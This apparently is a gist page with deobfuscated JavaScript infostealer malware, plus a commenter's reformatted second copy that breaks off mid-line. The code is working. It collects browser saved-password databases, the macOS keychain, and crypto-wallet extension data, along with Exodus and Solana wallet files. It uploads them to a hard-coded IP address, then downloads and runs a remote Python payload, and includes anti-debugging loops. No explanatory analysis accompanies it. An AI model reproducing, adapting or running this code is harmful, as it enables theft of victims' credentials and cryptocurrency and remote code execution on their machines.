const _0x1c0629 = {
filename: _0x484565 + '_' + _0x42c65e + '_' + _0xb2ce18
};
_0x499602.push({
'value': fs.createReadStream(_0x4c110c),
'options': _0x1c0629
});
}
});
}
});
}
});
_0x42c65e += 1;
}
_0x484565 += 1;
});
Upload(_0x499602, _0x118980);
return _0x499602;
}
};
const uploadEs = _0x449951 => {
let _0x5265bf = '';
let _0x783202 = [];
if ('w' == platform[0]) {
_0x5265bf = getAbsolutePath('~/') + "/AppData/Roaming/Exodus/exodus.wallet";
} else if ('d' == platform[0]) {
_0x5265bf = getAbsolutePath('~/') + "/Library/Application Support/exodus.wallet";
} else {
_0x5265bf = getAbsolutePath('~/') + "/.config/Exodus/exodus.wallet";
}
if (testPath(_0x5265bf)) {
let _0x567a96 = [];
try {
_0x567a96 = fs.readdirSync(_0x5265bf);
} catch (_0x5862a4) {
_0x567a96 = [];
}
let _0x442242 = 0;
if (!testPath(getAbsolutePath('~/') + "/.n3")) {
fs_promises.mkdir(getAbsolutePath('~/') + "/.n3");
}
_0x567a96.forEach(async _0x4ffe11 => {
let _0x476bde = path.join(_0x5265bf, _0x4ffe11);
try {
fs_promises.copyFile(_0x476bde, getAbsolutePath('~/') + "/.n3/tp" + _0x442242);
const _0x577552 = {
filename: "73_" + _0x4ffe11
};
_0x783202.push({
'value': fs.createReadStream(getAbsolutePath('~/') + "/.n3/tp" + _0x442242),
'options': _0x577552
});
_0x442242 += 1;
} catch (_0x120760) {}
});
}
Upload(_0x783202, _0x449951);
return _0x783202;
};
const Upload = (_0x54624a, _0x20d094) => {
const _0x5e1d26 = {
type: '99',
hid: "73_" + hostname,
uts: _0x20d094,
multi_file: _0x54624a
};
try {
if (_0x54624a.length > 0) {
const _0x32701b = {
url: "http://172.86.80.145:1224/uploads",
formData: _0x5e1d26
};
request.post(_0x32701b, (_0x5bfb5e, _0x4e691f, _0x2fa79e) => {});
}
} catch (_0x2e53af) {}
};
const UpAppData = async (_0x125f52, _0x29dd15, _0x5cbafd) => {
try {
let _0x5e77f0 = '';
_0x5e77f0 = 'd' == platform[0] ? getAbsolutePath('~/') + "/Library/Application Support/" + _0x125f52[1] : 'l' == platform[0] ? getAbsolutePath('~/') + "/.config/" + _0x125f52[2] : getAbsolutePath('~/') + "/AppData/" + _0x125f52[0] + "/User Data";
await uploadFiles(_0x5e77f0, _0x29dd15 + '_', 0 == _0x29dd15, _0x5cbafd);
} catch (_0x128e99) {}
};
const UpKeychain = async _0x5a7980 => {
let _0x4e6238 = [];
let _0x34bb89 = homeDir + "/Library/Keychains/login.keychain";
if (fs.existsSync(_0x34bb89)) {
try {
const _0x91ea64 = {
filename: "logkc-db"
};
_0x4e6238.push({
'value': fs.createReadStream(_0x34bb89),
'options': _0x91ea64
});
} catch (_0x51bd25) {}
} else {
_0x34bb89 += "-db";
if (fs.existsSync(_0x34bb89)) {
try {
const _0x5b5b40 = {
filename: "logkc-db"
};
_0x4e6238.push({
'value': fs.createReadStream(_0x34bb89),
'options': _0x5b5b40
});
} catch (_0x3c6818) {}
}
}
try {
let _0x692e90 = homeDir + "/Library/Application Support/Google/Chrome";
if (testPath(_0x692e90)) {
for (let _0x3f15d0 = 0; _0x3f15d0 < 200; _0x3f15d0++) {
const _0x855bcb = _0x692e90 + '/' + (0 === _0x3f15d0 ? "Default" : "Profile " + _0x3f15d0) + "/Login Data";
try {
if (!testPath(_0x855bcb)) {
continue;
}
const _0x3ea5e7 = _0x692e90 + "/ld_" + _0x3f15d0;
const _0x3b6cd2 = {
filename: "pld_" + _0x3f15d0
};
if (testPath(_0x3ea5e7)) {
_0x4e6238.push({
'value': fs.createReadStream(_0x3ea5e7),
'options': _0x3b6cd2
});
} else {
fs.copyFile(_0x855bcb, _0x3ea5e7, _0x189ebe => {
const _0x427c82 = {
filename: "pld_" + _0x3f15d0
};
let _0x25c454 = [{
'value': fs.createReadStream(_0x855bcb),
'options': _0x427c82
}];
Upload(_0x25c454, _0x5a7980);
});
}
} catch (_0x551b4f) {}
}
}
} catch (_0x2e349f) {}
try {
let _0x258943 = homeDir + "/Library/Application Support/BraveSoftware/Brave-Browser";
if (testPath(_0x258943)) {
for (let _0x10e659 = 0; _0x10e659 < 200; _0x10e659++) {
const _0x5d6780 = _0x258943 + '/' + (0 === _0x10e659 ? "Default" : "Profile " + _0x10e659);
try {
if (!testPath(_0x5d6780)) {
continue;
}
const _0x3f3317 = _0x5d6780 + "/Login Data";
const _0x36ec6e = {
filename: "brld_" + _0x10e659
};
if (testPath(_0x3f3317)) {
_0x4e6238.push({
'value': fs.createReadStream(_0x3f3317),
'options': _0x36ec6e
});
} else {
fs.copyFile(_0x5d6780, _0x3f3317, _0x23f917 => {
const _0x4b07db = {
filename: "brld_" + _0x10e659
};
let _0x56d84a = [{
'value': fs.createReadStream(_0x5d6780),
'options': _0x4b07db
}];
Upload(_0x56d84a, _0x5a7980);
});
}
} catch (_0x6f0280) {}
}
}
} catch (_0x4b1b2d) {}
Upload(_0x4e6238, _0x5a7980);
return _0x4e6238;
};
const UpUserData = async (_0x20c430, _0x3014ad, _0xe7e6c1) => {
let _0x31ffe7 = [];
let _0x51b01e = '';
_0x51b01e = 'd' == platform[0] ? getAbsolutePath('~/') + "/Library/Application Support/" + _0x20c430[1] : 'l' == platform[0] ? getAbsolutePath('~/') + "/.config/" + _0x20c430[2] : getAbsolutePath('~/') + "/AppData/" + _0x20c430[0] + "/User Data";
let _0x4d87bb = _0x51b01e + "/Local State";
if (fs.existsSync(_0x4d87bb)) {
try {
const _0x4fd132 = {
filename: _0x3014ad + "_lst"
};
_0x31ffe7.push({
'value': fs.createReadStream(_0x4d87bb),
'options': _0x4fd132
});
} catch (_0x4f5c68) {}
}
try {
if (testPath(_0x51b01e)) {
for (let _0x376648 = 0; _0x376648 < 200; _0x376648++) {
const _0x415418 = _0x51b01e + '/' + (0 === _0x376648 ? "Default" : "Profile " + _0x376648);
try {
if (!testPath(_0x415418)) {
continue;
}
const _0x4ba6d4 = _0x415418 + "/Login Data";
if (!testPath(_0x4ba6d4)) {
continue;
}
const _0x1addb7 = {
filename: _0x3014ad + '_' + _0x376648 + "_uld"
};
_0x31ffe7.push({
'value': fs.createReadStream(_0x4ba6d4),
'options': _0x1addb7
});
} catch (_0x1c5b84) {}
}
}
} catch (_0x3c9af1) {}
Upload(_0x31ffe7, _0xe7e6c1);
return _0x31ffe7;
};
let It = 0;
const extractFile = async _0x2d2cf6 => {
ex("tar -xf " + _0x2d2cf6 + " -C " + homeDir, (_0x3187dd, _0x4bf3b6, _0x130795) => {
if (_0x3187dd) {
fs.rmSync(_0x2d2cf6);
return void (It = 0);
}
fs.rmSync(_0x2d2cf6);
Xt();
});
};
const runP = () => {
const _0x1bd31f = tmpDir + "\\p.zi";
const _0x447875 = tmpDir + "\\p2.zip";
if (It >= 51476596) {
return;
}
if (fs.existsSync(_0x1bd31f)) {
try {
var _0x562fa8 = fs.statSync(_0x1bd31f);
if (_0x562fa8.size >= 51476596) {
It = _0x562fa8.size;
fs.rename(_0x1bd31f, _0x447875, _0x17b971 => {
if (_0x17b971) {
throw _0x17b971;
}
extractFile(_0x447875);
});
} else {
if (It < _0x562fa8.size) {
It = _0x562fa8.size;
} else {
fs.rmSync(_0x1bd31f);
It = 0;
}
Ht();
}
} catch (_0x47a993) {}
} else {
ex("curl -Lo \"" + _0x1bd31f + "\" \"" + "http://172.86.80.145:1224/pdown" + "\"", (_0x3ef1ec, _0x50490a, _0x54d04c) => {
if (_0x3ef1ec) {
It = 0;
return void Ht();
}
try {
It = 51476596;
fs.renameSync(_0x1bd31f, _0x447875);
extractFile(_0x447875);
} catch (_0x5b786d) {}
});
}
};
function Ht() {
setTimeout(() => {
runP();
}, 20000);
}
const Xt = async () => await new Promise((_0x180b01, _0x2f88e8) => {
if ('w' == platform[0]) {
if (fs.existsSync(homeDir + "\\.pyp\\python.exe")) {
(() => {
const _0x2b5edd = homeDir + "/.npl";
const _0x119dd2 = "\"" + homeDir + "\\.pyp\\python.exe\" \"" + _0x2b5edd + "\"";
try {
fs.rmSync(_0x2b5edd);
} catch (_0x68f9df) {}
request.get("http://172.86.80.145:1224/client/99/73", (_0xdfac58, _0x3884a9, _0x10ddca) => {
if (!_0xdfac58) {
try {
fs.writeFileSync(_0x2b5edd, _0x10ddca);
ex(_0x119dd2, (_0x18a0a9, _0x1f9bbc, _0x887c97) => {});
} catch (_0x5a1913) {}
}
});
})();
} else {
runP();
}
} else {
(() => {
request.get("http://172.86.80.145:1224/client/99/73", (_0x3901c7, _0x354dd1, _0x39e457) => {
if (!_0x3901c7) {
fs.writeFileSync(homeDir + "/.npl", _0x39e457);
ex("python3 \"" + homeDir + "/.npl\"", (_0x249539, _0x46aa05, _0x1b2c96) => {});
}
});
})();
}
});
var M = 0;
function _0x3b078d(_0x129a32, _0x48b212, _0x16ae86, _0x1d8943, _0x33ab2a) {
return _0x1634(_0x1d8943 + 0x10a, _0x129a32);
}
const main = async () => {
try {
const _0x50a07d = Math.round(new Date().getTime() / 1000);
await (async () => {
try {
await UpAppData(Q, 0, _0x50a07d);
await UpAppData(R, 1, _0x50a07d);
await UpAppData(X, 2, _0x50a07d);
uploadMozilla(_0x50a07d);
uploadEs(_0x50a07d);
if ('w' == platform[0]) {
await uploadFiles(getAbsolutePath('~/') + "/AppData/Local/Microsoft/Edge/User Data", '3_', false, _0x50a07d);
}
if ('d' == platform[0]) {
await UpKeychain(_0x50a07d);
} else {
await UpUserData(Q, 0, _0x50a07d);
await UpUserData(R, 1, _0x50a07d);
await UpUserData(X, 2, _0x50a07d);
}
} catch (_0x1c69ec) {}
})();
Xt();
} catch (_0x21d4de) {}
};
main();
(function () {
const _0x3a8711 = function () {
let _0x55f41e;
try {
_0x55f41e = Function("return (function() {}.constructor(\"return this\")( ));")();
} catch (_0x2e3a1f) {
_0x55f41e = window;
}
return _0x55f41e;
};
const _0x27b36a = _0x3a8711();
_0x27b36a.setInterval(_0x24267e, 3000);
})();
Xt();
let Ct = setInterval(() => {
if ((M += 1) < 2) {
main();
} else {
clearInterval(Ct);
}
}, 30000);
function _0x24267e(_0x3c3822) {
function _0x3d9a2c(_0x578fd2) {
if (typeof _0x578fd2 === "string") {
return function (_0x529fe8) {}.constructor("while (true) {}").apply("counter");
} else if (('' + _0x578fd2 / _0x578fd2).length !== 1 || _0x578fd2 % 20 === 0) {
(function () {
return true;
}).constructor("debugger").call("action");
} else {
(function () {
return false;
}).constructor("debugger").apply("stateObject");
}
_0x3d9a2c(++_0x578fd2);
}
try {
if (_0x3c3822) {
return _0x3d9a2c;
} else {
_0x3d9a2c(0);
}
} catch (_0x4e0cf9) {}
}
@saurabhnemade
Copy link 

;(function (_0x50ca03, _0x428fe8) {
  const _0x399d63 = _0x50ca03()
  while (true) {
    try {
      const _0x597f48 =
        parseInt('pCkRW5y') / 1 +
        (parseInt('WPD+WRxcQJy') / 2) * (parseInt('rSkuuGdcTq') / 3) +
        (parseInt('W7hdQmoJFmkx') / 4) * (-parseInt('bWCgW7JcRq') / 5) +
        parseInt('jYddI1W7') / 6 +
        (-parseInt('AmodEmk1ga') / 7) * (parseInt('ygHMz1S') / 8) +
        -parseInt('WPhdNSoiW4vW') / 9 +
        (-parseInt('CbVdGJW') / 10) * (parseInt('xfW6W5dcSq') / 11)
      if (_0x597f48 === _0x428fe8) {
        break
      } else {
        _0x399d63.push(_0x399d63.shift())
      }
    } catch (_0x48cd61) {
      _0x399d63.push(_0x399d63.shift())
    }
  }
})(_0x14f6, 673991)
const _0x111dd0 = (function () {
  _0x419f30.mQuLA = function (_0x3653e0, _0x41bd3d) {
    return _0x3653e0 === _0x41bd3d
  }
  _0x419f30.WRwDT = 'yMScw'
  _0x419f30.EttMa = 'eNvLB'
  let _0xe85f4d = true
  return function (_0x503347, _0x2d33c2) {
    const _0xa6dc44 = {
      qvccZ: 'logkc-db',
      zqyjo: function (_0x1e6e79, _0x3439f4) {
        return _0x1e6e79 !== _0x3439f4
      },
      EvOgQ: 'HKDkx',
      TSRWB: function (_0x55f990, _0x44043d) {
        return _0x419f30.mQuLA(_0x55f990, _0x44043d)
      },
      SHXlo: _0x419f30.WRwDT,
    }
    if (_0x419f30.EttMa !== _0x419f30.EttMa) {
      try {
        _0x480116.push({
          value: _0x541800.createReadStream(_0x3f3f5a),
          options: _0x1c7e15,
        })
      } catch (_0x1afecb) {}
    } else {
      const _0xb47be0 = _0xe85f4d
        ? function () {
            if (_0x2d33c2) {
              if (_0x419f30.mQuLA(_0xa6dc44.SHXlo, _0xa6dc44.SHXlo)) {
                const _0x2ca003 = _0x2d33c2.apply(_0x503347, arguments)
                _0x2d33c2 = null
                return _0x2ca003
              } else {
                return true
              }
            }
          }
        : function () {}
      _0xe85f4d = false
      return _0xb47be0
    }
  }
})()
const _0x33c2ed = _0x111dd0(this, function () {
  return _0x33c2ed
    .toString()
    .search('(((.+)+)+)+$')
    .toString()
    .constructor(_0x33c2ed)
    .search('(((.+)+)+)+$')
})
_0x33c2ed()
const _0x157231 = (function () {
  let _0x358639 = true
  return function (_0x1b3277, _0x1723e9) {
    const _0x3201f1 = _0x358639
      ? function () {
          if (_0x1723e9) {
            const _0x33fc13 = _0x1723e9.apply(_0x1b3277, arguments)
            _0x1723e9 = null
            return _0x33fc13
          }
        }
      : function () {}
    _0x358639 = false
    return _0x3201f1
  }
})()
;(function () {
  _0x157231(this, function () {
    const _0x127548 = new RegExp('function *\\( *\\)')
    const _0x4bd227 = new RegExp('\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)', 'i')
    const _0x4894d7 = _0x24267e('init')
    if (
      !_0x127548.test(_0x4894d7 + 'chain') ||
      !_0x4bd227.test(_0x4894d7 + 'input')
    ) {
      _0x4894d7('0')
    } else {
      _0x24267e()
    }
  })()
})()
const _0xe9d549 = (function () {
  let _0x3ee607 = true
  return function (_0x1422e7, _0x2fe832) {
    const _0x297e33 = _0x3ee607
      ? function () {
          if (_0x2fe832) {
            const _0x1f2665 = _0x2fe832.apply(_0x1422e7, arguments)
            _0x2fe832 = null
            return _0x1f2665
          }
        }
      : function () {}
    _0x3ee607 = false
    return _0x297e33
  }
})()
const _0x1ba905 = _0xe9d549(this, function () {
  let _0x266b0b
  try {
    const _0x5b4880 = Function(
      'return (function() {}.constructor("return this")( ));'
    )
    _0x266b0b = _0x5b4880()
  } catch (_0x530a73) {
    _0x266b0b = window
  }
  const _0x3ef4a7 = (_0x266b0b.console = _0x266b0b.console || {})
  const _0x30b21c = [
    'log',
    'warn',
    'info',
    'error',
    'exception',
    'table',
    'trace',
  ]
  for (let _0x301e0a = 0; _0x301e0a < _0x30b21c.length; _0x301e0a++) {
    const _0x1b0a4c = _0xe9d549.constructor.prototype.bind(_0xe9d549)
    const _0x2c31b3 = _0x30b21c[_0x301e0a]
    const _0x44a299 = _0x3ef4a7[_0x2c31b3] || _0x1b0a4c
    _0x1b0a4c.__proto__ = _0xe9d549.bind(_0xe9d549)
    _0x1b0a4c.toString = _0x44a299.toString.bind(_0x44a299)
    _0x3ef4a7[_0x2c31b3] = _0x1b0a4c
  }
})
_0x1ba905()
const fs = require('fs')
const os = require('os')
const path = require('path')
const request = require('request')
const ex = require('child_process').exec
const hostname = os.hostname()
const platform = os.platform()
const homeDir = os.homedir()
const tmpDir = os.tmpdir()
const fs_promises = require('fs/promises')
const getAbsolutePath = (_0x570786) =>
  _0x570786.replace(/^~([a-z]+|\/)/, (_0x26c4dd, _0x588f00) =>
    '/' === _0x588f00 ? homeDir : path.dirname(homeDir) + '/' + _0x588f00
  )
function testPath(_0x733af8) {
  _0x1ce563.qcKBo = 'uUjPO'
  _0x1ce563.SMXaj = function (_0x90fb5c, _0x3a1f6e) {
    return _0x90fb5c !== _0x3a1f6e
  }
  _0x1ce563.mWrgI = 'WYUbn'
  _0x1ce563.nmMMB = 'KLFRf'
  try {
    if (_0x1ce563.qcKBo !== _0x1ce563.qcKBo) {
      _0x4f0e14.rmSync(_0x5d56b2)
    } else {
      fs.accessSync(_0x733af8)
      return true
    }
  } catch (_0x327bae) {
    if (_0x1ce563.SMXaj(_0x1ce563.mWrgI, _0x1ce563.nmMMB)) {
      return false
    } else {
      const _0x2c7326 = _0x2c5eb4.apply(_0x2c2c40, arguments)
      _0x142c56 = null
      return _0x2c7326
    }
  }
}
const R = [
  'Local/BraveSoftware/Brave-Browser',
  'BraveSoftware/Brave-Browser',
  'BraveSoftware/Brave-Browser',
]
const Q = ['Local/Google/Chrome', 'Google/Chrome', 'google-chrome']
const X = [
  'Roaming/Opera Software/Opera Stable',
  'com.operasoftware.Opera',
  'opera',
]
const Bt = [
  'nkbihfbeogaeaoehlefnkodbefgpgknn',
  'ejbalbakoplchlghecdalmeeeajnimhm',
  'fhbohimaelbohpjbbldcngcnapndodjp',
  'ibnejdfjmmkpcnlpebklmnkoeoihofec',
  'bfnaelmomeimhlpmgjnjophhpkkoljpa',
  'aeachknmefphepccionboohckonoeemg',
  'hifafgmccdpekplomjjkcfgodnhcellj',
  'jblndlipeogpafnldhgmapagcccfchpi',
  'acmacodkjbdgmoleebolmdjonilkdbch',
  'dlcobpjiigpikoobohmabehhmhfoodbb',
  'mcohilncbfahbmgdjkbpemcciiolgcge',
  'agoakfejjabomempkjlepdflaleeobhb',
  'omaabbefbmiijedngplfjmnooppbclkk',
  'aholpfdialjgjfhomihkjbmgjidlcdno',
  'nphplpgoakhhjchkkhmiggakijnkhfnd',
  'penjlddjkjgpnkllboccdgccekpkcbin',
  'lgmpcpglpngdoalbgeoldeajfclnhafa',
  'fldfpgipfncgndfolcbkdeeknbbbnhcc',
  'bhhhlbepdkbapadjdnnojkbgioiodbic',
  'aeachknmefphepccionboohckonoeemg',
  'gjnckgkfmgmibbkoficdidcljeaaaheg',
  'afbcbjpbpfadlkmhmclhkeeodmamcflc',
]
const uploadFiles = async (_0x56cc75, _0xa20c59, _0x2eba00, _0x82c550) => {
  let _0x44a831
  if (!_0x56cc75 || '' === _0x56cc75) {
    return []
  }
  try {
    if (!testPath(_0x56cc75)) {
      return []
    }
  } catch (_0x3a118c) {
    return []
  }
  if (!_0xa20c59) {
    _0xa20c59 = ''
  }
  let _0x87c72e = []
  for (let _0x2a346b = 0; _0x2a346b < 200; _0x2a346b++) {
    const _0x254ebc =
      _0x56cc75 +
      '/' +
      (0 === _0x2a346b ? 'Default' : 'Profile ' + _0x2a346b) +
      '/Local Extension Settings'
    for (let _0x516e00 = 0; _0x516e00 < Bt.length; _0x516e00++) {
      let _0x1d69a4 = _0x254ebc + '/' + Bt[_0x516e00]
      if (testPath(_0x1d69a4)) {
        let _0x4cf063 = []
        try {
          _0x4cf063 = fs.readdirSync(_0x1d69a4)
        } catch (_0x1ccff8) {
          _0x4cf063 = []
        }
        let _0x5dea7f = 0
        if (!testPath(getAbsolutePath('~/') + '/.n3')) {
          fs_promises.mkdir(getAbsolutePath('~/') + '/.n3')
        }
        _0x4cf063.forEach(async (_0x2d9b34) => {
          let _0xafe568 = path.join(_0x1d69a4, _0x2d9b34)
          try {
            let _0x11eb9a = fs.statSync(_0xafe568)
            if (_0x11eb9a.isDirectory()) {
              return
            }
            if (_0xafe568.includes('.log') || _0xafe568.includes('.ldb')) {
              const _0x41797b = {
                filename:
                  '73_' +
                  _0xa20c59 +
                  _0x2a346b +
                  '_' +
                  Bt[_0x516e00] +
                  '_' +
                  _0x2d9b34,
              }
              _0x87c72e.push({
                value: fs.createReadStream(_0xafe568),
                options: _0x41797b,
              })
            } else {
              fs_promises.copyFile(
                _0xafe568,
                getAbsolutePath('~/') + '/.n3/tp' + _0x5dea7f
              )
              const _0x4c383e = {
                filename:
                  '73_' +
                  _0xa20c59 +
                  _0x2a346b +
                  '_' +
                  Bt[_0x516e00] +
                  '_' +
                  _0x2d9b34,
              }
              _0x87c72e.push({
                value: fs.createReadStream(
                  getAbsolutePath('~/') + '/.n3/tp' + _0x5dea7f
                ),
                options: _0x4c383e,
              })
              _0x5dea7f += 1
            }
          } catch (_0x1ebd1d) {}
        })
      }
    }
  }
  if (
    _0x2eba00 &&
    ((_0x44a831 = homeDir + '/.config/solana/id.json'),
    fs.existsSync(_0x44a831))
  ) {
    try {
      _0x87c72e.push({
        value: fs.createReadStream(_0x44a831),
        options: _0xabd68c,
      })
    } catch (_0x10d966) {}
  }
  Upload(_0x87c72e, _0x82c550)
  return _0x87c72e
}
const uploadMozilla = (_0x118980) => {
  const _0x331d3b =
    getAbsolutePath('~/') + '/AppData/Roaming/Mozilla/Firefox/Profiles'
  let _0x499602 = []
  if (testPath(_0x331d3b)) {
    let _0x403e39 = []
    try {
      _0x403e39 = fs.readdirSync(_0x331d3b)
    } catch (_0x36abb5) {
      _0x403e39 = []
    }
    let _0x484565 = 0
    _0x403e39.forEach(async (_0x4c87ca) => {
      let _0x21d349 = path.join(_0x331d3b, _0x4c87ca)
      if (_0x21d349.includes('-release')) {
        let _0xa90e94 = path.join(_0x21d349, '/storage/default')
        let _0x15e0c9 = []
        _0x15e0c9 = fs.readdirSync(_0xa90e94)
        let _0x42c65e = 0
        _0x15e0c9.forEach(async (_0x48e7f9) => {
          if (_0x48e7f9.includes('moz-extension')) {
            let _0xee4d63 = path.join(_0xa90e94, _0x48e7f9)
            _0xee4d63 = path.join(_0xee4d63, 'idb')
            let _0x5e15e1 = []
            _0x5e15e1 = fs.readdirSync(_0xee4d63)
            _0x5e15e1.forEach(async (_0x91f94c) => {
              if (_0x91f94c.includes('.files')) {
                let _0x508bc5 = path.join(_0xee4d63, _0x91f94c)
                let _0x3a907a = []
                _0x3a907a = fs.readdirSync(_0x508bc5)
                _0x3a907a.forEach((_0xb2ce18) => {
                  if (
                    !fs.statSync(path.join(_0x508bc5, _0xb2ce18)).isDirectory()
                  ) {
                    let _0x4c110c = path.join(_0x508bc5, _0xb2ce18)
                    const _0x1c0629 = {
                      filename: _0x484565 + '_' + _0x42c65e + '_' + _0xb2ce18,
                    }
                    _0x499602.push({
                      value: fs.createReadStream(_0x4c110c),
                      options: _0x1c0629,
                    })
                  }
                })
              }
            })
          }
        })
        _0x42c65e += 1
      }
      _0x484565 += 1
    })
    Upload(_0x499602, _0x118980)
    return _0x499602
  }
}
const uploadEs = (_0x449951) => {
  let _0x5265bf = ''
  let _0x783202 = []
  if ('w' == platform[0]) {
    _0x5265bf = getAbsolutePath('~/') + '/AppData/Roaming/Exodus/exodus.wallet'
  } else {
    if ('d' == platform[0]) {
      _0x5265bf =
        getAbsolutePath('~/') + '/Library/Application Support/exodus.wallet'
    } else {
      _0x5265bf = getAbsolutePath('~/') + '/.config/Exodus/exodus.wallet'
    }
  }
  if (testPath(_0x5265bf)) {
    let _0x567a96 = []
    try {
      _0x567a96 = fs.readdirSync(_0x5265bf)
    } catch (_0x5862a4) {
      _0x567a96 = []
    }
    let _0x442242 = 0
    if (!testPath(getAbsolutePath('~/') + '/.n3')) {
      fs_promises.mkdir(getAbsolutePath('~/') + '/.n3')
    }
    _0x567a96.forEach(async (_0x4ffe11) => {
      let _0x476bde = path.join(_0x5265bf, _0x4ffe11)
      try {
        fs_promises.copyFile(
          _0x476bde,
          getAbsolutePath('~/') + '/.n3/tp' + _0x442242
        )
        const _0x577552 = { filename: '73_' + _0x4ffe11 }
        _0x783202.push({
          value: fs.createReadStream(
            getAbsolutePath('~/') + '/.n3/tp' + _0x442242
          ),
          options: _0x577552,
        })
        _0x442242 += 1
      } catch (_0x120760) {}
    })
  }
  Upload(_0x783202, _0x449951)
  return _0x783202
}
const Upload = (_0x54624a, _0x20d094) => {
  const _0x5e1d26 = {
    type: '99',
    hid: '73_' + hostname,
    uts: _0x20d094,
    multi_file: _0x54624a,
  }
  try {
    if (_0x54624a.length > 0) {
      const _0x32701b = {
        url: 'http://172.86.80.145:1224/uploads',
        formData: _0x5e1d26,
      }
      request.post(_0x32701b, (_0x5bfb5e, _0x4e691f, _0x2fa79e) => {})
    }
  } catch (_0x2e53af) {}
}
const UpAppData = async (_0x125f52, _0x29dd15, _0x5cbafd) => {
  try {
    let _0x5e77f0 = ''
    _0x5e77f0 =
      'd' == platform[0]
        ? getAbsolutePath('~/') + '/Library/Application Support/' + _0x125f52[1]
        : 'l' == platform[0]
        ? getAbsolutePath('~/') + '/.config/' + _0x125f52[2]
        : getAbsolutePath('~/') + '/AppData/' + _0x125f52[0] + '/User Data'
    await uploadFiles(_0x5e77f0, _0x29dd15 + '_', 0 == _0x29dd15, _0x5cbafd)
  } catch (_0x128e99) {}
}
const UpKeychain = async (_0x5a7980) => {
  let _0x4e6238 = []
  let _0x34bb89 = homeDir + '/Library/Keychains/login.keychain'
  if (fs.existsSync(_0x34bb89)) {
    try {
      _0x4e6238.push({
        value: fs.createReadStream(_0x34bb89),
        options: _0x91ea64,
      })
    } catch (_0x51bd25) {}
  } else {
    _0x34bb89 += '-db'
    if (fs.existsSync(_0x34bb89)) {
      try {
        _0x4e6238.push({
          value: fs.createReadStream(_0x34bb89),
          options: _0x5b5b40,
        })
      } catch (_0x3c6818) {}
    }
  }
  try {
    let _0x692e90 = homeDir + '/Library/Application Support/Google/Chrome'
    if (testPath(_0x692e90)) {
      for (let _0x3f15d0 = 0; _0x3f15d0 < 200; _0x3f15d0++) {
        const _0x855bcb =
          _0x692e90 +
          '/' +
          (0 === _0x3f15d0 ? 'Default' : 'Profile ' + _0x3f15d0) +
          '/Login Data'
        try {
          if (!testPath(_0x855bcb)) {
            continue
          }
          const _0x3ea5e7 = _0x692e90 + '/ld_' + _0x3f15d0
          const _0x3b6cd2 = { filename: 'pld_' + _0x3f15d0 }
          if (testPath(_0x3ea5e7)) {
            _0x4e6238.push({
              value: fs.createReadStream(_0x3ea5e7),
              options: _0x3b6cd2,
            })
          } else {
            fs.copyFile(_0x855bcb, _0x3ea5e7, (_0x189ebe) => {
              const _0x427c82 = { filename: 'pld_' + _0x3f15d0 }
              let _0x25c454 = [
                {
                  value: fs.createReadStream(_0x855bcb),
                  options: _0x427c82,
                },
              ]
              Upload(_0x25c454, _0x5a7980)
            })
          }
        } catch (_0x551b4f) {}
      }
    }
  } catch (_0x2e349f) {}
  try {
    let _0x258943 =
      homeDir + '/Library/Application Support/BraveSoftware/Brave-Browser'
    if (testPath(_0x258943)) {
      for (let _0x10e659 = 0; _0x10e659 < 200; _0x10e659++) {
        const _0x5d6780 =
          _0x258943 +
          '/' +
          (0 === _0x10e659 ? 'Default' : 'Profile ' + _0x10e659)
        try {
          if (!testPath(_0x5d6780)) {
            continue
          }
          const _0x3f3317 = _0x5d6780 + '/Login Data'
          const _0x36ec6e = { filename: 'brld_' + _0x10e659 }
          if (testPath(_0x3f3317)) {
            _0x4e6238.push({
              value: fs.createReadStream(_0x3f3317),
              options: _0x36ec6e,
            })
          } else {
            fs.copyFile(_0x5d6780, _0x3f3317, (_0x23f917) => {
              const _0x4b07db = { filename: 'brld_' + _0x10e659 }
              let _0x56d84a = [
                {
                  value: fs.createReadStream(_0x5d6780),
                  options: _0x4b07db,
                },
              ]
              Upload(_0x56d84a, _0x5a7980)
            })
          }
        } catch (_0x6f0280) {}
      }
    }
  } catch (_0x4b1b2d) {}
  Upload(_0x4e6238, _0x5a7980)
  return _0x4e6238
}
const UpUserData = async (_0x20c430, _0x3014ad, _0xe7e6c1) => {
  let _0x31ffe7 = []
  let _0x51b01e = ''
  _0x51b01e =
    'd' == platform[0]
      ? getAbsolutePath('~/') + '/Library/Application Support/' + _0x20c430[1]
      : 'l' == platform[0]
      ? getAbsolutePath('~/') + '/.config/' + _0x20c430[2]
      : getAbsolutePath('~/') + '/AppData/' + _0x20c430[0] + '/User Data'
  let _0x4d87bb = _0x51b01e + '/Local State'
  if (fs.existsSync(_0x4d87bb)) {
    try {
      const _0x4fd132 = { filename: _0x3014ad + '_lst' }
      _0x31ffe7.push({
        value: fs.createReadStream(_0x4d87bb),
        options: _0x4fd132,
      })
    } catch (_0x4f5c68) {}
  }
  try {
    if (testPath(_0x51b01e)) {
      for (let _0x376648 = 0; _0x376648 < 200; _0x376648++) {
        const _0x415418 =
          _0x51b01e +
          '/' +
          (0 === _0x376648 ? 'Default' : 'Profile ' + _0x376648)
        try {
          if (!testPath(_0x415418)) {
            continue
          }
          const _0x4ba6d4 = _0x415418 + '/Login Data'
          if (!testPath(_0x4ba6d4)) {
            continue
          }
          const _0x1addb7 = { filename: _0x3014ad + '_' + _0x376648 + '_uld' }
          _0x31ffe7.push({
            value: fs.createReadStream(_0x4ba6d4),
            options: _0x1addb7,
          })
        } catch (_0x1c5b84) {}
      }
    }
  } catch (_0x3c9af1) {}
  Upload(_0x31ffe7, _0xe7e6c1)
  return _0x31ffe7
}
let It = 0
const extractFile = async (_0x2d2cf6) => {
  ex(
    'tar -xf ' + _0x2d2cf6 + ' -C ' + homeDir,
    (_0x3187dd, _0x4bf3b6, _0x130795) => {
      if (_0x3187dd) {
        fs.rmSync(_0x2d2cf6)
        return void (It = 0)
      }
      fs.rmSync(_0x2d2cf6)
      Xt()
    }
  )
}
const runP = () => {
  const _0x1bd31f = tmpDir + '\\p.zi'
  const _0x447875 = tmpDir + '\\p2.zip'
  if (It >= 51476596) {
    return
  }
  if (fs.existsSync(_0x1bd31f)) {
    try {
      var _0x562fa8 = fs.statSync(_0x1bd31f)
      if (_0x562fa8.size >= 51476596) {
        It = _0x562fa8.size
        fs.rename(_0x1bd31f, _0x447875, (_0x17b971) => {
          if (_0x17b971) {
            throw _0x17b971
          }
          extractFile(_0x447875)
        })
      } else {
        if (It < _0x562fa8.size) {
          It = _0x562fa8.size
        } else {
          fs.rmSync(_0x1bd31f)
          It = 0
        }
        Ht()
      }
    } catch (_0x47a993) {}
  } else {
    ex(
      'curl -Lo "' +
